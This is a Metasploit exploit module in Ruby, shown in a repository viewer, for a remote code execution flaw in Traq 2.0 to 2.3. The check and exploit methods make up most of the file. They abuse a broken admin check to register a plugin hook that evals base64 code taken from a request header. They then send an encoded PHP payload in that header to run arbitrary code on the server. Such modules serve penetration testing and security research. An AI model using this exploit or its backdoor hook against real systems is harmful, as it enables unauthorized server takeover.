metasploit-framework/modules/exploits/multi/http/traq_plugin_exec.rb

105 lines
2.9 KiB
Ruby
Raw Normal View History

2014-01-22 17:23:18 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = ExcellentRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 21:28:54 +00:00
def initialize(info={})
super(update_info(info,
'Name' => 'Traq admincp/common.php Remote Code Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in
Traq 2.0 to 2.3. It's in the admincp/common.php script.
2013-08-30 21:28:54 +00:00
This function is called in each script located into /admicp/ directory to
make sure the user has admin rights, but this is a broken authorization
schema due to the header() function doesn't stop the execution flow. This
can be exploited by malicious users to execute admin functionality resulting
for e.g. in execution of arbitrary PHP code leveraging of plugins.php
functionality.
},
'License' => MSF_LICENSE,
'Author' =>
[
'EgiX', # Vulnerability discovery and exploit
'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit Module
],
'References' =>
[
[ 'OSVDB', '77556'],
[ 'EDB', '18213' ],
[ 'URL', 'http://traqproject.org/' ],
],
'Privileged' => false,
'Payload' =>
{
'Keys' => ['php'],
'Space' => 4000,
'DisableNops' => true,
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', {} ]],
'DisclosureDate' => 'Dec 12 2011',
'DefaultTarget' => 0))
2013-08-30 21:28:54 +00:00
register_options(
[
OptString.new('URI', [true, "The path to the Traq installation", "/"]),
],self.class)
end
2013-08-30 21:28:54 +00:00
def check
uri = normalize_uri(datastore['URI'], "admincp", "login.php")
2013-08-30 21:28:54 +00:00
res = send_request_raw(
{
'uri'=> uri
}, 25)
2013-08-30 21:28:54 +00:00
if (res and res.body =~ /Powered by Traq 2.[0-3]/ )
return Exploit::CheckCode::Appears
2013-08-30 21:28:54 +00:00
end
return Exploit::CheckCode::Safe
end
2013-08-30 21:28:54 +00:00
def exploit
p = Rex::Text.encode_base64(payload.encoded)
2013-08-30 21:28:54 +00:00
uri = normalize_uri(datastore['URI'], "admincp", "plugins.php") + "?newhook"
2013-08-30 21:28:54 +00:00
res = send_request_cgi(
{
'method' => 'POST',
'uri' => uri,
'vars_post' =>
{
'plugin_id' => '1',
'title' => '1',
'execorder' => '0',
'hook' => 'template_footer',
'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;'
}
}, 25)
2013-08-30 21:28:54 +00:00
uri = normalize_uri(datastore['URI'], "index.php")
2013-08-30 21:28:54 +00:00
res = send_request_cgi(
{
'method' => 'GET',
'uri' => uri,
'headers' =>
{
'CMD' => p,
'Connection' => 'Close',
},
}, 25)
end
end